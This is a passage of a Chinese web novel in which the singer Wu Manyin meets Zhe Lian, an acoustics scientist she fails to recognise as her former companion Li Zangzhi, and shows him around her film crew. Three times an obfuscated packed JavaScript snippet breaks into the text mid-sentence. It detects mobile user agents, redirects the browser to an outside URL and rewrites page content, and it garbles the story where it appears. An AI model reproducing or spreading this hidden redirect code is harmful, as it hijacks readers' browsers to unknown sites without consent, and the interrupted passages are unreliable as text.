而且这个履历确实挺厉害的,她真诚地拍拍折敛的头,欣赏他希望得到肯定的急切的眼睛:“25岁的博士,很优秀啦。” 把前因后果在脑子里转了一圈,乌曼因发现这事最严重的后果也就是被真音姐继续diss找了个大学生指导,问题不大。 甭管折敛是博士还是导师,他在声学上的造诣肯定比剧组的人强,范略只是想找个人帮他提修改意见,又不是请家教帮他重返校园。 而且以范略物尽其用的性格,如果折敛在科学性上帮不到范略什么,估计会被他逮去客串吧。 不亏。 她重新快乐起来,像是想起了高兴的事情,发出“嘿嘿嘿”的笑声。 折敛虽然不知道她脑子里想到什么奇怪的场景,但察言观色,提着的心总算放了下来。 不至于被剧组boss赶走了。 他不能,至少不应该在还没开工前就下岗。 范略的剧本问题交给范略去苦恼。 拍电影是这样的,导演只需要拍完电影就好,投资人乌曼因要考虑的可就多了。 比如泡个科学顾问美少年什么的…… 乌曼因昨天还在苦恼维修买卖做完后怎么找借口和crush拉进距离,今天人就送货上门。 什么叫心想事成,这就是。 女性的气息是柔软的、微痒的。一片羽毛轻轻掠过鼻尖,带着体温的暖意,又带着某种难以言说的轻盈。 乌曼因的靠近超过了社交距离,折敛像是被小猫的爪子轻轻挠了一下,条件反射把剧本合上,神似仓鼠护食。 这举动…… 乌曼因顿了一下,有些古怪,她好像又看到了最近总是阴魂不散的李藏之……那家伙就特别讨厌有人看他写的东西,但凡有人靠近就会迅速把自己的书本藏好。 好像他写的是什么不能为人所知的惊天机密。 ……虽然她确实不太看得懂。 但折敛又不是李藏之,成年求偶男性是不需要女生包容的。 乌曼因很自信,拿自己未来的格莱美奖发誓,折敛绝对对她有意思。 爱和咳嗽一样,是藏不住的。 他总是专注地从角落一隅看她,仿佛她是什么失而复得的稀世珍宝。却如蜻蜓点水一样若即若离,她只偶尔在转身时察觉。 喜欢她的人太多,碍于她的身份,他们总是这样看她。 乌曼因“咳咳”两声,做作地继续靠近。 接下来应该是成年男女心知肚明的你侬我侬…… 折敛“噌”地站起来,逃也似地钻进内间工作室,活似只扑棱着翅膀的鸡:“我去给你拿曲子。” 乌曼因:“……” 这对吗? 14. 莲花蜡烛promax升级版 折敛打开他的笔记本,很快找到了一个mp3文件,名为“7.13”。 悻悻跟进来的乌曼因没多想,毕竟昨天就是7月13号。 她虽然美丽、但金鱼般的脑袋早就忘记了这首曲子诞生于近十年前的今天。 折敛点开音频文件,从脚下纸箱里翻出了一只索尼头戴式耳机递给她。 乌曼因有些意料之外的小惊喜,欣然接受。 她忍不住瞅了瞅折敛的纸箱子,心想这是什么哆来a梦百宝箱,怎么每次出现的道具都那么恰到好处。 声学博士还怪贴心的。 笔记本毕竟不是专门的音乐播放器,老破小修理铺的墙壁也没有做过吸声。这时候想要排除密闭空间对声音造成的折射混响,还是耳机最合适。 而且一定得是有线耳机,蓝牙的带宽限制伤音质。 折敛把工作室里唯一一把有靠背的椅子让给她。 乌曼因从善如流地坐下,舒服地靠在靠背上。 闭着眼,手指在椅子扶手上轻打着拍子,听耳边的音乐流淌。 折敛坐在她身边,他趴在工作台桌子上,把头压在臂弯里,只露出半张脸,静静地描摹她的神情。 灯光偏打在她半边脸上,绒毛细密地发着光,移不开眼。 多久没这么近的看着她了? 他很久没有这么近距离地陪在乌曼因身边了。 乌曼因还是那么好看,眉如远山勾画,眼角总是凌厉地上挑,一看就知道是个志向远大的女人。微仰着头的时候鬓边碎发拨开,露出耳垂上的碎钻。很漂亮的耳朵。 性子也很急,想做的事八匹马都拉不回。 只有沉浸在音乐世界里的她是最亮眼的,容色鲜活。 思绪渐渐回到那天,乌曼因从帘子后面探头的那一瞬间,他被吓得差点魂都没了。 失去了一部分听觉,在不熟悉的安静世界里,他反应比以前迟钝很多……他有点感谢自己的迟钝了。 没表情不是因为心理素质好,相反,折敛从小行事偏激,精神状态一直成谜,很难控制住自己言行的,他望着乌曼因,那一刻直接死机。 当时没反应更多只是因为已经活人微死了。 他瞬间想了一百个理由解释他为什么会在这里,又想了一百个理由解释他当年为什么要离开得那么决绝。 每一个听起来都那么真实可靠,逻辑满分,感人肺腑。 虽然已经很久没有说谎了,但好像业务能力依然没退步。 也不知道该喜还是该忧。 在现在的老师同事眼里,折敛是沉默寡言的天之骄子,人狠话不多,目下无尘,根本不屑说谎。 但他其实不是,他只是裹着光鲜亮丽皮囊的一团垃圾,烂泥被勉强搀扶起来,被涂抹到了高楼大厦上。 谎言、隐藏是幼年李藏之赖以生存的本能。 如果不是院士导师的担保,凭他那一团糟的犯罪记录和政审履历,连进电子厂打螺丝都有点困难。 可是最终什么借口都没有用上。 因为乌曼因没有认出他。 有点黑色幽默,她带着莲花蜡烛过来,居然没有认出送莲花蜡烛的人。 相处了两年,折敛还是第一次知道乌曼因脸盲。 折敛松了口气,又有点不是滋味。 但转念一想—— 这不正好? 他现在是折敛,是一个任谁都挑不出毛病的优秀青年。 他可以正常地对话、会察言观色,渐渐地社会化了。 如果他不再是李藏之,那就不需要面对糟糕的过去,他在她面前是和每一个擦肩而过的正常人一样的存在。 而不是那个曾经死死缠住她、依附她生长的怪物。 虽然不知道为什么乌曼因对“折敛”这个身份另眼相待…… 大概是因为他修东西厉害吧,当年李藏之给她做MIDI合成器和修音响的时候乌曼因的眼神也总是亮亮的。 她大概很喜欢这些东西。 这些都无需深究。 感情和工程不一样,他不需要知道好感背后的黑箱原理,他只需要抓住这个机会。 当乌曼因踏入他为自己划好的领域,所有理性与自负都在她的气息谈吐间灼烧成灰。 重回乌曼因身边的诱惑太大。 折敛拒绝不了。 他望着乌曼因微翘的睫毛,心想也不是不能装一辈子。 …… 电脑上音频的进度条缓慢爬完,乌曼因吐出一口长长的气,将耳机摘下。 “怎么样?”折敛把自己的心思收敛得很好,坐起来问。 乌曼因缓慢地点点头:“很好。” 就是有点太好了。 她摘下耳机,心想: 这音质真的是能从莲花蜡烛里能导出来的吗? 乌曼因一边揉耳朵,一边眼珠缓慢地沿着眼眶转动,这是她思考的习惯。 别的她不懂,但音乐是她的专业,她很少在专业领域犯错误。 mp3的压缩率在10%左右,牺牲了12kHz以上的高频换来低频的低损耗,电脑上的“7.13”文件完美地呈现了高采样率的mp3格式所能达到的音质。 她扫了一眼屏幕,歌曲大小10MB,无论如何也不算小了,莲花蜡烛芯片那小身板,真的塞得下这么大个的文件吗…… 总觉得很可疑的样子。 已经过去几天,她依然记得在蜡烛里听到的乐曲糊得像隔了八层墙,更接近一团浆糊,采样频率低到肉耳可以听出跳频,谐波失真更是爆炸,毛刺感让她全身起了鸡皮疙瘩。 真音姐能闭着眼夸完全是因为旋律实在过硬。 已经解码失真的文件,真能靠测引脚电平还原出来吗? 她怎么觉得这么不科学呢…… 但如果不是,折敛是怎么做到的,这音质好得不止十倍。 乌曼因不懂。 但她大受震撼。 她沉思了一会,无果。 除此之外,还有一件很要紧的事—— “结尾那句话呢?” 折敛:“……”什么话? “就是祝我生日快乐那句话啊。”乌曼因提醒。 失策了。 礼物送的时间太久,他都忘记里面似乎还藏有一句祝福。 本来折敛就不擅长搞这种煽情戏码,难得录了一句之后立刻从自己的大脑磁盘中清除了这段记忆。 “……”他勉强说,“不小心失误被我剪掉了。” 乌曼因还是很宝贝李藏之留下来的语音的。 “能帮我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323442|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复原吗?” “……”折敛说,“不能。” 太社死了,他选择不干。 乌曼因略有点失望的同时疑惑更多了,只觉折博士的技术水平怎么忽上忽下的。 但是,好叭,不能也没办法。 反正她这里有录音。 虽然略有波折,过程也比较神奇,但效果出人意料的好。 “那我就把尾款给万元打过去了,”乌曼因心情总的来说还是很不错的,她拿出手机,逗他,“既然万元还要给你交房租,不如直接打给你算了。” “你给他就行。”折敛说。 “可是是你修的哎,不需要我有什么单独报酬吗?” “……不要。” 欲拒还迎的小样子还是那么可爱。 “这也不要那也不要……”乌曼因笑吟吟地托着下巴,一双桃花眼状似深情地凝视,“那你有没有什么话要对我说?” 她眨了眨眼,浑身上下每一个细胞都在不动声色地鼓励。 折敛瞳孔微颤,偏头抿嘴,像是心事被她点破。 乌曼因见状,唇边的笑意更深了。 静谧封闭的房间里,粉红泡泡似乎在两人周身徜徉。 折敛张了张嘴,虽然不知道乌曼因是怎么发觉的,他还是下定决心,又从箱子里迅速拿了什么东西出来,闭着眼递到乌曼因面前:“之前把你的蜡烛拆掉了,所以我重新做了一个。” 他手上捧着一朵泛着亮漆色的莲花蜡烛。 粉红泡泡被按下暂停键,然后漏气,消失得无影无踪。 整段垮掉。 乌曼因:“?”什么东西? 怎么和她想象中的发展不太一样? 折敛难得耐心地解释,这朵莲花蜡烛是他用3D打印出散件,油性漆喷涂上色,花瓣做了非常精美的粉白渐变,然后用不锈钢金属件连接的。 据说可以放三四十年不变色。 非常有当传家宝的价值。 而且更难得的是,中央花蕊依然保留了蜡烛的功能,可以反复点火,底座开关集成了开火和音乐的功能,只要打开开关,火苗就会跃出并伴随音乐播放。 烧录的音频当然是经过他“修复”之后的高清版本。 作为一个手作小摆件的角度来讲真是完美。 他介绍的时候很自豪的样子。 乌曼因:“……” 道理我都懂,但是你为什么要重新做一朵莲花蜡烛? 就算更高端了也掩饰不了它还是一朵土味生日莲花蜡烛的事实啊。 乌曼因对着这朵莲花蜡烛promax,思维混乱,在“他好爱我”和“太土了受不了”之间反复横跳。 但是面对折敛期待的神色。 乌曼因脸色僵硬,不得不端出平常营业的口吻,说谢谢礼物非常棒非常喜欢。 然后在折敛高兴的眼神目送下抱着大概可以归入“女生收到都哭了”系列的礼物,幽魂般飘回了家。 留在那儿的话她担心自己绷不住女明星完美的表情管理。 至于音频她传给了真音姐,真音姐安排人记谱去了,还发来一大段语音夸她,大意是我认识你五六年你终于做了一件靠谱事,姐很欣慰,希望继续保持。 乌曼因:“……” 双重打击。 15. 神奇的剧组 邵亦挺高兴地引着折敛在剧组到处闲逛,像是在炫耀自己的大玩具,表情兴奋又自豪。 人来人往间有一种生机勃勃的热闹。 他说:“虽然是个小剧组,但是还不错吧?” 折敛的目光在道具组制作出来的高科技模型上游移,摇了摇头。 “……哪里不满意了?” 折敛拿起一个机器手模型:“太粗糙了,不能动吧。” “大哥,能动的话就不叫道具了。” 折敛不知道按到了机器手身上的什么按钮,机器手忽然发出了蓝盈盈的光,十分科幻。 折敛:“……” 倒也不能说完全没有可取之处。 …… “很久没有见到你了,”邵亦感叹,“有七八年了吧。” 折敛纠正:“没有,李忘之毕业典礼上我见过你,你拉着李忘之在拍照。” “不是,我怎么没见着你?” “为什么要见到我?”折敛奇怪,“那天是李忘之毕业,又不是我毕业。” 邵亦哭笑不得:“你毕业的时候也没请我啊。” 他犹豫了一下,还是问:“之后您还是有继续学业的吧?” “李忘之没和你说吗?” 邵亦摇摇头。 “我只知道你把奥赛的报名表还给了她,她那时知道我找过你后,生了我很大的气,后来……就再也没和我说过你的事情了。” “直到几天前,她忽然和我说,你在声学所工作,如果剧组需要顾问的话,可以找你。” 折敛“哦”了一声:“你都知道我在声学所工作怎么还问我学业的事?声学所又不接收高中肄业。” 这个便宜妹夫怎么感觉不太聪明的样子。 邵亦:“不是,我那不是怕我当年不懂事的行为,影响你的学业……” 折敛说:“那你倒也还没有那么大影响力。” 邵亦:“……” 心塞塞。 谎言不会伤人,真相才是快刀。 “不过……我没有在声学所名单里看到你,”邵亦犹犹豫豫地说,“不会是什么保密工作吧?” “……”折敛不说话了。 找不到名字都愿意相信李忘之的鬼话,还帮他找补理由,请他来剧组当顾问,真不怕请来一个吃白饭的。 邵亦真的,他哭死。 还有声学所的博士学位到底什么时候才能拿到,到底要坑他多少回? 邵亦怕他尴尬:“我随口说的,你不用回答我。” 虽然他看上去比折敛还容易尴尬,如果有个地缝他一定会钻进去,并把自己仔细埋好。 折敛扯了扯嘴角,不想在这个话题上纠结:“单位不保密,我就是声学所派来给你们指导的顾问。” 邵亦:“……啊?” 折敛把中影发给声学所的问函,和声学所的借调通知全部发给邵亦。 pdf文件上“折敛”两个字清晰可见,大大的公章戳盖在右下角。 今天就算邵亦没请他,过两天折敛也会带着研究生走正规流程过来驻场。 “原来请中影帮忙真的有用啊,范略去联系的时候我还不信,”邵亦看上去比收到问函的声学所老师还惊讶,不敢置信地确认了两编,嘀咕,“我能转发给忘之看看吗?” 折敛随他。 他和便宜妹妹同样不熟,也就住院的时候见过几面,听她干巴地说了几句吉祥话,然后相对无言。 怪就只能怪爹妈生他们的时候少放了点情商。 他本来没想关心小情侣之间的私密聊天的,可他该死的眼神特别好,只是随意一瞄,就看到邵亦给李忘之的微信备注是“李泽言的老婆”。 折敛:“……” 不是很懂现在的年轻人。 …… 邵亦嘴边洋溢着甜腻的奇特笑容,一直持续到发完消息后。 他才像是忽然想起旁边站了这么大个人,凑过来小心翼翼地说:“对了,你知道乌曼因投资并出演了我们这部电影吗?” 折敛脚步一顿。 差点忘了便宜妹夫也是黄钟县出来的人,虽然是个边缘NPC,在李忘之的管束下很少混迹酒吧,但在职校十佳歌手还是有他的一席之地的。 简单来说,是个正统派校园乐队出身。 穿得潮流、唱歌又好听,校霸级人物。 当年可比现在穷横多了。 傻啦吧唧的样子,还挺怀念。 “知道。” “那你想不想见她?”邵亦问,“如果不想见她的话,我可以安排你们岔开……不过她有些时候比较随性,想来就来了。” 言下之意是不保证成功率。 “不用,她认不出来。” “这么肯定?”邵亦挠头,“不过她是没认出我,明明我以前找她签过名来着。” 折敛抬起眼皮:“她也没认出你?” 邵亦:“嗯……没认出,不过我和她见面次数也不多吧,她在台上,我在台下,舞厅里那么暗,不认识我很正常。” 他特意强调:“当时我还要上学,我是好学生,很少去地下酒吧。” 折敛这下眼皮都懒得抬了。 邵亦仔细一想,觉得刚才的谈话不太对,后知后觉:“你见过乌曼因了?” 他品味了一下这个“也”字,感觉这里面有很多故事。 不外乎就是两人久别重逢,大舅哥的变化太大,乌曼因没认出来。 邵亦觉得毒舌大舅哥有点可怜了。 果然人和人的惨都是对比出来的。 乌曼因是邵亦年少时到现在的偶像。 擅长嗓音表达的vocal系主唱,喜欢崇拜乌曼因是一件非常顺理成章的事情。 没有嫉妒,只剩下“玛德,唱得那么牛逼卧槽”的感慨。 卓越唱功带来的迸发式情感表演,在台下听一次现场能兑水回味十年。 看了几场表演没被偶像记住,和同居两年没被认出来,好像还是后者比较惨一点。 曾经邵亦遗憾没在乌曼因成名前混个眼熟,现在他释然了。 原来乌曼因是个脸盲,混熟了也没用。 他这么想,也这么跟折敛感叹。 折敛睁着没什么情绪的纯黑色瞳孔,警告他:“你在她面前给我闭嘴,别提李藏之。” 脸盲怎么了? 要不是乌曼因脸盲他还能好好站在这里? 脸盲是这个世界最好的礼物,阿门。 邵亦做了个拉链封嘴的动作,表示明白。 折敛总算气顺了一点,问: “你刚才说她要出演,什么角色?” 邵亦:“主角。” 折敛:“……” 这剧组真的靠谱吗? …… 两人又转悠了大半天。 折敛有工程底子,看不上剧组的假把式道具,抢了道具师的电路板和电脑、不知道哪里拆了个舵机,拼凑了一个可以简易抓握的机械手。 控制机械手抱住道具组组长的小腿、让他只能单脚跳嗷嗷叫后,折敛满意了,站起身去找下一个受害者。 邵亦:“……” 得罪不起性格恶劣的大舅哥,他只能一边研究折敛写的控制按钮,每个都点一下试图解救可怜的组长……不过似乎抱得更紧了;一遍祈祷乌曼因赶紧过来收了这个妖孽。 好日子过太久,忘记黄钟县的来时路了。 看热闹不嫌事大的道具组组员则毫无同事情,聚众蹲在组长腿前,七嘴八舌地讨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323443|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论这个可动机械手能用在哪里。 范略刚和场景师掰扯完场地布置,一回头发现自己的片场已经乱成一锅粥——道具组正在拯救大兵组长;灯光组在研究组合控制程序,效果大概等同KTV打灯;场记跟只猴子一样到处救火。 “我应该是还没睡醒。” 他瘫进导演椅里装死,感觉自己像条被抽干了的咸鱼。 邵亦拖着折敛过来,给他介绍:“我朋友,也是声学所派来的科学顾问,李……折敛。” “哦李先生是吧,你好你好。”范略垂死梦中惊坐起,握手。 折敛:“……” 他转头盯住邵亦死亡凝视。 邵亦擦擦汗,连忙说:“他姓折,字是折纸的折,念shé。” 范略:“这个姓有点少见啊。” 他的目光落在折敛耳边的银色助听器上,只觉科学顾问入组就给他带来了新的灵感。 好想继续工作啊。 …… 连轴转半个月,再铁打的人也受不了。 偏偏乌曼因打算请假前最后再去视察一下她的剧组。 要离开挺长一段时间呢。 真音姐真是服气,只能载着半睡不醒的乌曼因乘车前往郊区。 真音姐算是看出来了,乌曼因现在脑子里只剩下她那破电影,解约程序都走得磨磨唧唧。 大概觉得只剩一年了,人可以耗着,两百万块钱别想她出。 就硬拖着。 后座上的乌曼因自己陷进柔软的真皮垫里,望着手机,长长地叹了今天第十三口气。 “你最近怎么了,”真音姐从后视镜里瞥她一眼,“忧郁少女人设不适合你。” 乌曼因把手机举到眼前,锁屏上是万元友情提供的照片—— 还没有带助听器的折敛。 真正的男大风格侧脸,宽松的套头卫衣,柔软蓬松的头发,又难得带了眼镜,镜片后一双微微垂敛着的眼睛。 女人就是要看这些才有力气讨生活啊。 万元:老板,这是我在折哥大学毕业的时候拍的,私房照,折哥自己都没有(^_^) 乌曼因:[红包] 乌曼因放下手机,又叹气:“姐不是说事业诗意情场得意吗,你帮我参谋参谋呗。” “什么事?”真音姐挑起半边眉毛。 “我最近看上个弟弟……不是公司的没有以权谋私没有公器私用别用这种眼神看我,总之盘靓条顺学历高,人也很喜欢我,每条朋友圈都给我点赞,没事总用狗狗眼看我。” “然后呢?” “我觉得他可以找我要个名分,暗示了好几次,他好像都和没听懂一样,不知道是怎么回事。” 趁着红绿灯,乌曼因把手机递到真音姐面前。 真音姐随意扫了眼乌曼因和她crush的聊天记录。 乌曼因:滴滴~ 乌曼因:[分享歌曲《因为爱情》-xx] 折敛:? 乌曼因:没事,就是觉得这首歌挺好听的 折敛:…… 乌曼因:怎么样? 折敛:你音乐审美是不是退步了? 乌曼因:? 乌曼因:最近在练一首新歌(^^)/ 乌曼因:缺个男声合唱,来吗? 折敛:不太会唱歌。 折敛:[男声术力口合集.mp4] 折敛:需要的话我用VOCALOID帮你调/教。 真音姐陷入沉默。 看上去对方更像个事业粉毒唯。 “你有什么看法?” 乌曼因期待地看着真音姐。 “有,”真音姐说,“做人不要太普信。” 乌曼因:“……” 16. 声音显化 乌曼因来到剧组的时候,折敛已经和范略聊上了。 本来在打哈欠的女明星一眼扫过去,没想到瞥到了熟悉的身影,顿时一个激灵,缩到真音姐身后,试图紧急打理形象。 “你躲什么?别藏,影响形象,谁知道有没有人拍照。” 一米六的经纪人想要把一米七的艺人扯出来。 乌曼因:“别揪别揪,把我发型弄乱怎么办?我crush在这呢。” “这儿没有你crush……等下,你说哪个?” “坐范导旁边那个。” 居然真的在现场。 真音姐没想到自己这么快就见到传说中自家白菜看上的猪,眯起眼,意味不明地朝乌曼因指的方向打量了一下:“挺年轻,也是剧组的?” “剧组请的科学顾问。” “你怎么跟人家科学顾问勾搭上了? “……就见色起意,他长得好看,说话声音也好听。” “还说你没有公器私用。” “那叫近水楼台先得月,”乌曼因跳脚,“你什么文学素养!” 乌曼因捯饬完,自觉美丽很多,也随着真音姐一起望去。 她第一次看到处于人群中的折敛,人长得好看,很显眼。阳光从侧面打过来,照得他整个人像博物馆里展示的瓷器,白得发光。 不知道为什么,也很违和。 乌曼因总是觉得折敛和李藏之有些相似,因为他们都带着一种拒绝融入人群的厌世感。 李藏之的智商太高,高到和正常人的基本交流都无法做到,一举一动透露着常识的缺失。 与其说是天才的孤傲,倒不如说那是他并没有受过良好教育的证明,没人教他如何在这个社会上生存。 他总是试图用他熟悉的数学来理解世界,但世界并不是那样的。 乌曼因有时候能清楚地感觉到他被困住了,被自己的思维束缚在被锁在那间堆满书籍和草稿纸的杂物间里。 他看了很多很多的书,思想可以翱翔到宇宙尽头,但是实际上他甚至无法踏出房门哪怕一步。 折敛像是一个更完美版本的李藏之。 他懂得怎么说话,有自己的朋友,有被认可的社会地位,可以施展自己的理想。 她想,如果李藏之出生在北京的一户小康家庭,是不是就能够成为另一个折敛。 不会沦落酒吧最阴暗的角落,用沾着酒渍的餐巾纸推导公式。 也不至于明明智商那么高,却连想要什么都不知道,只因为她说不会编曲,他就去学乐理。 他会是一个健全的人。 乌曼因忽然有些出神。 她从来没有比现在更迫切地想要找到李藏之,想要知道李藏之的近况。 如果李藏之没有一个很好的生活的话,她无法接受这样的事实,她会找到他,把他带回身边。 故事需要一个美好的结局 如果没有的话,那就她来给。 应该还不算太晚。 …… 折敛和范略两个人对坐在板凳上,正在讨论平行时空的理论基础,像极了村口纳凉的大爷。但走近了,能听到两人在说“谐波”、“六维紧化”等让人眩晕的高端东西。 折敛建议剧本的设定可以从弦论入手,没有比弦论更适合声学科幻剧本的理论基础了。 假设琴弦振动产生特定谐波,谐波频率符合某个高维拓扑不变量,触发Calabi-Yau流形变形,打开时空通道,将弦的振动意象化为时空变换。 范略终于体会到了剧组有专业人士指导的美妙,一边猛点头一边速记。 果然相处得很愉快。 脑子里正排布着各种升维公式的折敛注意到乌曼因的到来,腼腆地朝她笑了一下。 真音姐特意落后两步,用她特有的刻薄眼神仔细观察。 自家艺人虽然自信了一点,但智商没问题,不是会被低级撩妹手段骗到的人。 除非。 对方真的很喜欢她。 折敛眼里只有乌曼因。 乌曼因出现的那一刻,他的眼珠就只专注地跟随乌曼因转动,黑沉的眼底有了焦点。 他原本很疏懒倦怠的神色,背脊弓着,皮肤是水鬼似的常年不见天日的苍白,现在忽然间被注入了生气,像个活人了。 乌曼因想开玩笑地揉揉他那一头看起来格外柔软的黑发,手指刚触到发丝,折敛就条件反射般弹了起来,差点砸到乌曼因下巴。 他苍白的面容上浮现出罕见慌乱,立马紧张地低头去检查。 乌曼因仰起脖子给他看:“没事没事。” 就是没有摸到良家妇男柔软的头发有点可惜。 温热的呼吸交错,折敛的手指已经先于意识抚上乌曼因的下颌,又立马像被烫到一般,蜷缩着收了回来,触感似乎依然依附在他的指尖。 让他僵成了一根人形冰棍。 他在做什么? 折敛红着脸让出小板凳,自己贴墙站着,像被老师罚站的好学生。乌曼因坐下时故意晃了晃腿,膝盖蹭到他的裤管。折敛立刻往旁边平移十厘米,差点嵌进墙里。 “要我介绍吗?”范略看看这个,又抬头看看那个。 乌曼因停下逗折敛的腿:“我朋友。” 怎么大家都认识新来的顾问? 范略心想,而且这个朋友关系看着好像不是很单纯,反正他是不会把板凳让给邵亦的,凭本事坐到的板凳为什么要让。 乌曼因岔开话题:“你们在聊什么?” “一些剧本的基础设定,还有声音的具象化问题。” 范略的注意力立刻被带跑了。 声音怎么具象化? 这是这部电影从拍摄之初,范略就一直在思考的难题。 乌曼因也参与过这个话题,她是做音乐的,接触过很多音乐分析软件,把一些截屏找出来给范略看了下。 范略当时反应平淡,评价是,有些不直观,没有影视美感。 折敛此时也被问到了同样的问题,他刻意让自己忘记刚才的接触,手指无意识地摩挲着衣角,只是思索了一下,问:“有考虑过克拉尼图形吗?” “那是什么?” 折敛本来想解释一下,但是只说了两个音节就放弃了,长篇大论有些挑战他的语言极限,他直接搜了克拉尼实验小视频放给范略看。 这是一个依靠中心柱传导振动的小实验,声音引发的振动可以将纸面上的沙子震荡出不同的美丽图案。 “这个我有看过,”范略摸了摸下巴的胡茬,“但是很难把它和‘科技’这个概念联动起来,漂亮是漂亮,但是不够直观。作为需要观众发掘的彩蛋倒是不错。” 他期待地看着折敛:“还有别的吗?” 乌曼因在一旁翻了个白眼,她以前就是受不了范略真诚期待的眼神,才一直被忽悠,现在早就免疫了。 但她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323444|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很高兴别人重复跳进她踩过的坑。 折敛果然老实地介绍了水面波纹和水柱螺旋两种,并说:“我是主研究水声的,这两种我会比较熟悉。” 范略一边记本本一边猛点头:“嗯嗯您继续说。” 折敛:“……” 这些还不够吗,还要他怎么说。 他下意识看了眼乌曼因,见她也眼睛眨巴眨巴看着自己,他只好搜肠刮肚地继续想。 最后折敛现场演示了一种。 他找了一只激光笔、一块塑料膜、一片小镜子,将塑料膜附在音箱上。 “其实如果有示波器的话会更直观,但是我手边只有这些东西。” 他用手机连接音箱:“600赫兹。” 墙上激光笔画出了一个不稳定的莫比乌斯状。 折敛清了清嗓子,忽然发出了长而稳定的低啸,墙壁上的圆环忽然变成了两个圆环交替转动。 声音停下,转动的圆环又合二为一。 “这是双频干涉。我们平常见到的声波一般是时间波形图,这种可以看做振动的空间轨迹图。” 范略的眼睛亮了起来:“这个太漂亮了,我能试试吗?” 折敛点点头。 但是等到范略上场,无论怎么对着镜子鬼叫,都不能复现折敛那种漂亮的波形。 乌曼因看不下去:“别叫了,你这真是杂音。” 范略也喊累了,擦擦汗:“你来。” “我来就我来,让你见识一下什么叫专业歌手。” 乌曼因深吸了一口气,本来不紧张的,但是周围人纷纷围了上来,她只好堵上专业歌手的名誉,对着镜子严肃地开口:“啊——” 墙上的圆圈随着她的声音变成了漂亮又复杂的圆圈转圈,充满了声乐与科技的美感。 折敛看着这个更漂亮的图形,忽然笑了一下。 乌曼因憋得脸上汗都出来了,心里充满了成就感。 “拍下来了没?” “拍了。”真音姐熟知自家艺人屁大点事就要发朋友圈炫的性格,扬扬手上的手机。 “快发给我,让我发个朋友圈。” 乌曼因高兴地抱着手机编辑时,偶然对上了折敛的眼睛,折敛似乎正在看她,被发现的时候慌忙地垂下眼睛撤回视线。 乌曼因产生了一种奇怪又熟悉的酸胀感。 …… 范略显然对这场演示效果极为满意,兴奋地拉着两个副导演开始在剧本上写写画画。 乌曼因踱步到折敛身边。 她的目不转睛把折敛看脸红了,才笑着说:“折老师真厉害。” “……”折敛说,“不厉害,你唱得比我稳定很多。” 乌曼因陪他一起靠在墙上:“那是因为唱歌是我吃饭的老本行,发声是我每天的必练科目,倒是折老师您,声音稳定得有点吓人了。” 她一直叫“折老师”,像某种奇怪的play,折敛完全扛不住。 比她高大的青年绯色慢慢爬上耳边,乌黑的瞳孔中流露出类似求饶的恳求。 折敛张了张嘴:“因为……我是学声学的。” “我知道啊,你们声学还要学这个的吗?” “……要的。” 乌曼因心生佩服,肃然起敬:“你们声学生不来跟我们歌手抢工作真是有才有德。” “……” 路过的邵亦:眼睛不知道为什么忽然瞎了,拍个照先。 17. 黄钟县的作曲人 “你以前看过《信使》吗?”乌曼因把玩着激光笔,红点在地面画着毫无意义的圈,她突然抬头,红点“嗖”地滑到折敛板鞋鞋尖上。 “嗯。” “这么生僻的都看过?” 折敛实话实说:“因为短篇合集是捆绑在一起卖的。” ……也是。 “范略有没有带你逛逛剧组?” “没有,”折敛的视线小狗一样随着乌曼因的激光笔动,然后心虚地补充道,“……其他人带我看了一点点。” “没有逛完吧?” 折敛点头。 乌曼因来了兴致:“那我带你去参观参观,真是的,把人请来还不好好招待,范导不仗义啊。” 两人在剧组慢慢散步,穿过摄影组布置的横七竖八的摄像机导轨,折敛弯腰替她清理绊脚的电线。 在荧幕看不到的背后,剧组每天要花大量的时间在摄像头的布置、道具的设计、灯光的排布上。 这些幕后人员才是搭建另一个世界的魔术师。 真正用到演员工作的时长占比其实寥寥无几,乌曼因对折敛说:“他们的工作都在镜头外,每天布置场景的时间够演员拍一个月的戏了。” 作为被范略连哄带骗绑来的冤种主演投资方,乌曼因和齐羽生已经算业界良心,没戏的时候也常来剧组蹲着。 音乐顾问乌曼因还要找找灵感写曲。 范略吐槽有些“空中飞人演员”,能把自己拆成八份同时轧戏。 上周有个三线网剧演员非要凌晨三点拍他的单人镜头,整个剧组熬得跟丧尸围城似的。 范略顶着两个黑眼圈说:“下次再用流量明星我就是狗。” 乌曼因耸耸肩,对折敛吐槽:“他对流量明星PTSD了,宁可薅我们这种打工的,也不要资方塞来的小明星。” 折敛闻言顿了顿:“……他和我提到你是主演之一。” “害,他说反正都是花瓶,不如找个好看点的,”乌曼因上下打量折敛,宽肩腿长、肤白貌美的,揶揄,“小心下一个就是你。” “?” 